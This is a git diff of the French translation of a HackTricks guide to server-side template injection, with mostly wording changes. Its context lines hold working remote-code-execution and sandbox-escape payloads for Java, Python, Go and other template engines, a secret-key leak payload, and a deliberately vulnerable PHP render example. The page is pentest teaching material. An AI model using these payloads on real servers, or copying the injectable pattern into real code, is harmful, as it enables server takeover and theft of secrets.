@ -497,6 +513,6 @@ Autres moyens de soutenir HackTricks :
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -22,7 +22,7 @@ Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
## Qu'est-ce que l'injection de modèle côté serveur ?
|
## Qu'est-ce que l'injection de modèle côté serveur ?
|
||||||
|
|
||||||
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe native du modèle pour injecter une charge malveillante dans un modèle, qui est ensuite exécuté côté serveur.
|
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe native du modèle pour injecter une charge malveillante dans un modèle, qui est ensuite exécutée côté serveur.
|
||||||
|
|
||||||
Les **moteurs de modèles** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques par injection de modèle côté serveur peuvent se produire lorsque **l'entrée de l'utilisateur** est concaténée directement **dans un modèle**, plutôt que passée en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre le **contrôle complet du serveur**.
|
Les **moteurs de modèles** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques par injection de modèle côté serveur peuvent se produire lorsque **l'entrée de l'utilisateur** est concaténée directement **dans un modèle**, plutôt que passée en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre le **contrôle complet du serveur**.
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ Un exemple de code vulnérable est le suivant :
|
||||||
```php
|
```php
|
||||||
$output = $twig->render("Dear " . $_GET['name']);
|
$output = $twig->render("Dear " . $_GET['name']);
|
||||||
```
|
```
|
||||||
Dans l'exemple précédent, **une partie du modèle** est **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer un payload d'injection de modèle côté serveur dans le paramètre `name` comme suit :
|
Dans l'exemple précédent, **une partie du modèle** est **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant de placer un payload d'injection de modèle côté serveur à l'intérieur du paramètre `name` comme suit :
|
||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
|
@ -71,7 +71,7 @@ Si une **erreur** est générée lors de ces tests, il sera plus facile de déte
|
||||||
Une fois que vous avez détecté le potentiel d'injection de template, l'étape suivante est d'identifier le moteur de template.\
|
Une fois que vous avez détecté le potentiel d'injection de template, l'étape suivante est d'identifier le moteur de template.\
|
||||||
Bien qu'il existe un grand nombre de langages de templating, beaucoup utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
|
Bien qu'il existe un grand nombre de langages de templating, beaucoup utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
|
||||||
|
|
||||||
Si vous avez de la chance, le serveur affichera les **erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles possibles qui peuvent causer des erreurs :
|
Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles qui peuvent provoquer des erreurs :
|
||||||
|
|
||||||
| `${}` | `{{}}` | `<%= %>` |
|
| `${}` | `{{}}` | `<%= %>` |
|
||||||
| ----------- | ------------ | --------------- |
|
| ----------- | ------------ | --------------- |
|
||||||
|
@ -79,7 +79,7 @@ Si vous avez de la chance, le serveur affichera les **erreurs** et vous pourrez
|
||||||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||||
|
|
||||||
Sinon, vous devrez **tester manuellement différentes charges utiles spécifiques au langage** et étudier comment elles sont interprétées par le moteur de template. Une manière courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de template. Vous pouvez ensuite observer si elles sont évaluées avec succès. Pour aider dans ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :
|
Sinon, vous devrez **tester manuellement différentes charges utiles spécifiques au langage** et étudier comment elles sont interprétées par le moteur de template. Une manière courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de template. Vous pouvez ensuite observer si elles sont évaluées avec succès. Pour faciliter ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (272).png>)
|
![](<../../.gitbook/assets/image (272).png>)
|
||||||
|
|
||||||
|
@ -98,19 +98,19 @@ La première étape après avoir trouvé une injection de template et identifié
|
||||||
|
|
||||||
En supposant qu'aucune faille ne se soit présentée, l'étape suivante est d'**explorer l'environnement** pour découvrir exactement à **quoi vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de template, et des **objets spécifiques à l'application** passés dans le template par le développeur. De nombreux systèmes de template exposent un objet 'self' ou un espace de noms contenant tout ce qui est dans le scope, et une manière idiomatique de lister les attributs et méthodes d'un objet.
|
En supposant qu'aucune faille ne se soit présentée, l'étape suivante est d'**explorer l'environnement** pour découvrir exactement à **quoi vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de template, et des **objets spécifiques à l'application** passés dans le template par le développeur. De nombreux systèmes de template exposent un objet 'self' ou un espace de noms contenant tout ce qui est dans le scope, et une manière idiomatique de lister les attributs et méthodes d'un objet.
|
||||||
|
|
||||||
S'il n'y a pas d'objet self intégré, vous allez devoir forcer le nom des variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de Burp Intruder.
|
S'il n'y a pas d'objet self intégré, vous allez devoir forcer les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de Burp Intruder.
|
||||||
|
|
||||||
Les objets fournis par les développeurs sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents templates au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque template distinct individuellement.
|
Les objets fournis par les développeurs sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents templates au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque template distinct individuellement.
|
||||||
|
|
||||||
**Attaquer**
|
**Attaquer**
|
||||||
|
|
||||||
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de template pour déclencher la création d'objets arbitraires, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'escalade de privilèges.
|
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de template pour déclencher la création d'objets arbitraires, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'élévation de privilèges.
|
||||||
|
|
||||||
## Outils
|
## Outils
|
||||||
|
|
||||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||||
|
|
||||||
un scanner SSTI + CSTI efficace qui utilise des polyglottes novateurs
|
un scanner efficace SSTI + CSTI qui utilise des polyglottes novateurs
|
||||||
```bash
|
```bash
|
||||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||||
|
@ -177,7 +177,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
||||||
```
|
```
|
||||||
**Freemarker - Contournement de Sandbox**
|
**Freemarker - Contournement de Sandbox**
|
||||||
|
|
||||||
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
|
⚠️ fonctionne uniquement pour les versions de Freemarker inférieures à 2.3.30
|
||||||
```java
|
```java
|
||||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||||
|
@ -213,11 +213,11 @@ L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne
|
||||||
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||||
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||||
|
|
||||||
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression dans un autre emplacement du modèle, Thymeleaf prend en charge _l'insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez placer une expression à l'intérieur de `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, un payload simple de détection SSTI pour Thymeleaf serait `[[${7*7}]]`.
|
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression dans un autre emplacement du modèle, Thymeleaf prend en charge _l'insertion d'expressions_. Pour utiliser cette fonctionnalité, vous devez placer une expression à l'intérieur de `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, un payload de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
|
||||||
|
|
||||||
Cependant, les chances que le payload de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsque un modèle est généré dynamiquement dans le code. Par défaut, Thymeleaf ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés à l'avance. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre TemplateResolver. C'est possible mais cela arrive très rarement.
|
Cependant, les chances que le payload de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsque un modèle est généré dynamiquement dans le code. Par défaut, Thymeleaf ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre TemplateResolver. C'est possible mais cela arrive très rarement.
|
||||||
|
|
||||||
Si nous examinons plus en détail la documentation du moteur de modèle Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement d'expression**_. Les expressions placées entre doubles underscores (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation Thymeleaf :
|
Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre doubles underscores (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation Thymeleaf :
|
||||||
```java
|
```java
|
||||||
#{selection.__${sel.code}__}
|
#{selection.__${sel.code}__}
|
||||||
```
|
```
|
||||||
|
@ -310,6 +310,7 @@ Nouvelle version de Pebble :
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{% set bytes = (1).TYPE
|
{% set bytes = (1).TYPE
|
||||||
.forName('java.lang.Runtime')
|
.forName('java.lang.Runtime')
|
||||||
.methods[6]
|
.methods[6]
|
||||||
|
@ -357,7 +358,7 @@ Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/Hu
|
||||||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Recherche pour "com.hubspot.content.hubl.context.TemplateContextRequest" et découverte du [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
|
Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
|
||||||
```java
|
```java
|
||||||
{{request.isDebug()}}
|
{{request.isDebug()}}
|
||||||
//output: False
|
//output: False
|
||||||
|
@ -414,7 +415,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
* `${{7*7}}` - 49
|
* `${{7*7}}` - 49
|
||||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||||
|
|
||||||
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique d'application (beans gérés). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de dépendances et de contextes pour Java EE (CDI).\
|
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique d'application (managed beans). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de dépendances et de contextes pour Java EE (CDI).\
|
||||||
Consultez la page suivante pour en savoir plus sur **l'exploitation des interprètes EL** :
|
Consultez la page suivante pour en savoir plus sur **l'exploitation des interprètes EL** :
|
||||||
|
|
||||||
{% content-ref url="el-expression-language.md" %}
|
{% content-ref url="el-expression-language.md" %}
|
||||||
|
@ -423,7 +424,7 @@ Consultez la page suivante pour en savoir plus sur **l'exploitation des interpr
|
||||||
|
|
||||||
### Groovy (Java)
|
### Groovy (Java)
|
||||||
|
|
||||||
Ce contournement du Security Manager a été pris de ce [**compte-rendu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
Cette méthode de contournement du Security Manager a été prise de ce [**compte-rendu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||||
```java
|
```java
|
||||||
//Basic Payload
|
//Basic Payload
|
||||||
import groovy.*;
|
import groovy.*;
|
||||||
|
@ -450,7 +451,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||||
```
|
```
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir le savoir-faire technique**, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -535,7 +536,7 @@ modèle de page :
|
||||||
<h1>User Profile</h1>
|
<h1>User Profile</h1>
|
||||||
<p>Hello, <?=$this->e($name)?></p>
|
<p>Hello, <?=$this->e($name)?></p>
|
||||||
```
|
```
|
||||||
modèle de mise en page :
|
mise en page du modèle :
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -676,9 +677,9 @@ URLencoded:
|
||||||
| **Modèle** | **Description** |
|
| **Modèle** | **Description** |
|
||||||
| ------------ | --------------------------------------- |
|
| ------------ | --------------------------------------- |
|
||||||
| | Évaluer et rendre le résultat |
|
| | Évaluer et rendre le résultat |
|
||||||
| | Évaluer et rendre le résultat codé en HTML |
|
| | Évaluer et rendre le résultat avec encodage HTML |
|
||||||
| | Commentaire |
|
| | Commentaire |
|
||||||
| et | Permettre le code (désactivé par défaut) |
|
| and | Permettre le code (désactivé par défaut) |
|
||||||
|
|
||||||
* \= 49
|
* \= 49
|
||||||
|
|
||||||
|
@ -781,6 +782,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{os.system('whoami')}}
|
{{os.system('whoami')}}
|
||||||
{{os.system('whoami')}}
|
{{os.system('whoami')}}
|
||||||
```
|
```
|
||||||
|
@ -790,7 +792,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
||||||
|
|
||||||
[Site officiel](http://jinja.pocoo.org)
|
[Site officiel](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 est un moteur de template complet pour Python. Il prend entièrement en charge l'unicode, dispose d'un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD.
|
> Jinja2 est un moteur de template complet pour Python. Il prend entièrement en charge l'unicode, dispose d'un environnement d'exécution optionnel intégré et sécurisé, est largement utilisé et sous licence BSD.
|
||||||
|
|
||||||
* `{{7*7}} = Erreur`
|
* `{{7*7}} = Erreur`
|
||||||
* `${7*7} = ${7*7}`
|
* `${7*7} = ${7*7}`
|
||||||
|
@ -811,6 +813,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{settings.SECRET_KEY}}
|
{{settings.SECRET_KEY}}
|
||||||
{{4*4}}[[5*5]]
|
{{4*4}}[[5*5]]
|
||||||
{{7*'7'}} would result in 7777777
|
{{7*'7'}} would result in 7777777
|
||||||
|
@ -830,7 +833,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
[**RCE indépendant de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
[**Exécution de code à distance non dépendante de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||||
```python
|
```python
|
||||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
|
@ -841,7 +844,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
||||||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
```
|
||||||
**Plus de détails sur comment abuser de Jinja** :
|
**Plus de détails sur comment exploiter Jinja** :
|
||||||
|
|
||||||
{% content-ref url="jinja2-ssti.md" %}
|
{% content-ref url="jinja2-ssti.md" %}
|
||||||
[jinja2-ssti.md](jinja2-ssti.md)
|
[jinja2-ssti.md](jinja2-ssti.md)
|
||||||
|
@ -886,7 +889,7 @@ La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour
|
||||||
```
|
```
|
||||||
**Plus d'informations**
|
**Plus d'informations**
|
||||||
|
|
||||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
|
@ -916,9 +919,9 @@ Cependant, Go permet de **DÉFINIR** un **template** entier puis de **l'appeler
|
||||||
|
|
||||||
**Exploitation RCE**
|
**Exploitation RCE**
|
||||||
|
|
||||||
La documentation pour le module html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation pour le module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement toute fonction publique avec la valeur “call”**, ce qui n'est pas le cas avec html/template.
|
La documentation pour le module html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation pour le module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur “call”**, ce qui n'est pas le cas avec html/template.
|
||||||
|
|
||||||
Si vous voulez trouver un RCE en Go via SSTI, vous devez savoir que, comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Ainsi, imaginez que l'**objet passé a une méthode appelée System** qui exécute la commande donnée, vous pourriez en abuser avec : `{{ .System "ls" }}`\
|
Si vous voulez trouver un RCE en Go via SSTI, vous devez savoir que comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Ainsi, imaginez que l'**objet passé a une méthode appelée System** qui exécute la commande donnée, vous pourriez en abuser avec : `{{ .System "ls" }}`\
|
||||||
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme cela ressemblerait à :
|
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme cela ressemblerait à :
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
|
@ -933,9 +936,9 @@ return string(out)
|
||||||
|
|
||||||
### Plus d'exploits
|
### Plus d'exploits
|
||||||
|
|
||||||
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les tags dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||||
|
|
||||||
## PDF BlackHat
|
## BlackHat PDF
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||||||
|
|
||||||
|
@ -956,7 +959,7 @@ Si vous pensez que cela pourrait être utile, lisez :
|
||||||
|
|
||||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||||
|
|
||||||
## Liste de détection de Brute-Force
|
## Liste de détection de brute-force
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
|
@ -968,20 +971,20 @@ Si vous pensez que cela pourrait être utile, lisez :
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
